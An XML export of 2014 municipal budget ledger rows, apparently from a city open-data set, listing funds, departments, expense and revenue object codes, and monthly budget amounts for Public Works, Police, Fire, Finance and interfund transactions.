<row _id="4993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>110000.0</total></row>
<row _id="4994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="4995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36593.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36593.0</total></row>
<row _id="4996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="4997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>52294.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52294.0</total></row>
<row _id="4998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="5000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1186168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1186168.0</total></row>
<row _id="5001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1661.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1661.0</total></row>
<row _id="5002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLA</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15683.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15683.0</total></row>
<row _id="5003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1634.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1634.0</total></row>
<row _id="5004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26636.0</total></row>
<row _id="5005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>172847.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>172847.0</total></row>
<row _id="5006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2250.0</total></row>
<row _id="5007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="5008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9431.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9431.0</total></row>
<row _id="5009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="5010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8721848.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8721848.0</total></row>
<row _id="5011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5638.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5638.0</total></row>
<row _id="5012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1129.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1129.0</total></row>
<row _id="5014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533140.0</object><object_description>BOAT MAINTENANCE / OPERATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23470.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23470.0</total></row>
<row _id="5015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51.0</total></row>
<row _id="5016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8670.0</total></row>
<row _id="5017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17009.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17009.0</total></row>
<row _id="5018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>982848.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>982848.0</total></row>
<row _id="5019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11790.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11790.0</total></row>
<row _id="5020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3032.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3032.0</total></row>
<row _id="5021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-232291.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-232291.0</total></row>
<row _id="5022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-2395940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="5023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1442223.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1442223.0</total></row>
<row _id="5025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>412022.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>412022.0</total></row>
<row _id="5026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1020217.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1020217.0</total></row>
<row _id="5027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1127231.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1127231.0</total></row>
<row _id="5028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18222.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18222.0</total></row>
<row _id="5029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1450992.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1450992.0</total></row>
<row _id="5030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402310.0</object><object_description>WATER - COMMERCIAL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-20605462.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20605462.0</total></row>
<row _id="5031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402440.0</object><object_description>DAMAGE REPAIR WORK</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="5032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402230.0</object><object_description>MAUSOLEUM-MISC SALES/SVCS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-27706.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27706.0</total></row>
<row _id="5033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="5034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401330.0</object><object_description>MALL / DOWNTOWN MAINT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="5035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>404660.0</object><object_description>LIBRARY BOND TAX OVERRIDE</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>400270.0</object><object_description>ANIMAL LICENSES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405060.0</object><object_description>ENGINEERING COUNTER SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6564.0</total></row>
<row _id="5038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75850.0</total></row>
<row _id="5039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23816.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23816.0</total></row>
<row _id="5040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15514.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15514.0</total></row>
